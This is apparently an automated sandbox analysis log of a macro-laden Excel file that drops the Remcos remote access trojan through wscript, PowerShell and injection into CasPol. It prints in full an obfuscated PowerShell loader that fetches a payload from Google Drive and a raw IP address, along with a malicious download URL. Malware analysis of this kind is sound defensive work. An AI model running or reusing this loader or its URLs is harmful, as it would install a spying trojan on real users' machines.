                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: 770B0000 page execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: 770B0000 page execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: 770B0000 page execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: 770B0000 page execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041812A GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,26_2_0041812A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041330D OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,CloseHandle,CloseHandle,CloseHandle,26_2_0041330D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041BBC6 OpenProcess,NtResumeProcess,CloseHandle,26_2_0041BBC6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041BB9A OpenProcess,NtSuspendProcess,CloseHandle,26_2_0041BB9A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,28_2_0040DD85
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00401806 NtdllDefWindowProc_W,28_2_00401806
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_004018C0 NtdllDefWindowProc_W,28_2_004018C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004016FD NtdllDefWindowProc_A,29_2_004016FD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004017B7 NtdllDefWindowProc_A,29_2_004017B7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00402CAC NtdllDefWindowProc_A,30_2_00402CAC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00402D66 NtdllDefWindowProc_A,30_2_00402D66
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_004167EF ExitWindowsEx,LoadLibraryA,GetProcAddress,26_2_004167EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0043706A26_2_0043706A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041400526_2_00414005
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0043E11C26_2_0043E11C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_004541D926_2_004541D9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_004381E826_2_004381E8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041F18B26_2_0041F18B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0044627026_2_00446270
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0043E34B26_2_0043E34B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_004533AB26_2_004533AB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0042742E26_2_0042742E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0043756626_2_00437566
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0043E5A826_2_0043E5A8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_004387F026_2_004387F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0043797E26_2_0043797E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_004339D726_2_004339D7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0044DA4926_2_0044DA49
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00427AD726_2_00427AD7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041DBF326_2_0041DBF3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00427C4026_2_00427C40
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00437DB326_2_00437DB3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00435EEB26_2_00435EEB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0043DEED26_2_0043DEED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00426E9F26_2_00426E9F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_1001719426_2_10017194
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_1000B5C126_2_1000B5C1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044B04028_2_0044B040
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0043610D28_2_0043610D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044731028_2_00447310
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044A49028_2_0044A490
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0040755A28_2_0040755A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0043C56028_2_0043C560
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044B61028_2_0044B610
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044D6C028_2_0044D6C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_004476F028_2_004476F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044B87028_2_0044B870
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044081D28_2_0044081D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0041495728_2_00414957
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_004079EE28_2_004079EE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00407AEB28_2_00407AEB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044AA8028_2_0044AA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00412AA928_2_00412AA9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00404B7428_2_00404B74
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00404B0328_2_00404B03
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044BBD828_2_0044BBD8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00404BE528_2_00404BE5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00404C7628_2_00404C76
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00415CFE28_2_00415CFE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00416D7228_2_00416D72
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00446D3028_2_00446D30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00446D8B28_2_00446D8B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00406E8F28_2_00406E8F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0040503829_2_00405038
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041208C29_2_0041208C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004050A929_2_004050A9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0040511A29_2_0040511A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043C13A29_2_0043C13A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004051AB29_2_004051AB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044930029_2_00449300
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0040D32229_2_0040D322
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044A4F029_2_0044A4F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043A5AB29_2_0043A5AB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041363129_2_00413631
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044669029_2_00446690
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044A73029_2_0044A730
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004398D829_2_004398D8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004498E029_2_004498E0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044A88629_2_0044A886
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043DA0929_2_0043DA09
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00438D5E29_2_00438D5E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00449ED029_2_00449ED0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041FE8329_2_0041FE83
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00430F5429_2_00430F54
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004050C230_2_004050C2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004014AB30_2_004014AB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040513330_2_00405133
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004051A430_2_004051A4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040124630_2_00401246
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040CA4630_2_0040CA46
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040523530_2_00405235
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004032C830_2_004032C8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040168930_2_00401689
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00402F6030_2_00402F60
                Source: 0001.xlsOLE indicator, VBA macros: true
                Source: 0001.xlsStream path 'MBD00D6412B/\x1Ole' : https://acesso.run/WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasprC.@VX\Hdsc*VmtM_tNe*Wu"VSAcnqxbhWaZWSRktOBS],_0s-v iI)
                Source: 65330000.0.drStream path 'MBD00D6412B/\x1Ole' : https://acesso.run/WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasprC.@VX\Hdsc*VmtM_tNe*Wu"VSAcnqxbhWaZWSRktOBS],_0s-v iI)
                Source: ~DF3AE4293CD94DBA64.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 004169A7 appears 87 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 004165FF appears 35 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00434801 appears 41 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00422297 appears 42 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00434E70 appears 54 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00402093 appears 50 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 0044DB70 appears 41 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00401E65 appears 35 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00444B5A appears 37 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00413025 appears 79 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00416760 appears 69 times
                Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
                Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
                Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 2334
                Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 2334
                Source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: Process Memory Space: powershell.exe PID: 3856, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                Source: Process Memory Space: powershell.exe PID: 3776, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                Source: Process Memory Space: CasPol.exe PID: 3280, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: bhv8BAD.tmp.28.drBinary or memory string: org.slneighbors
                Source: classification engineClassification label: mal100.rans.phis.troj.spyw.expl.evad.winXLS@35/46@13/7
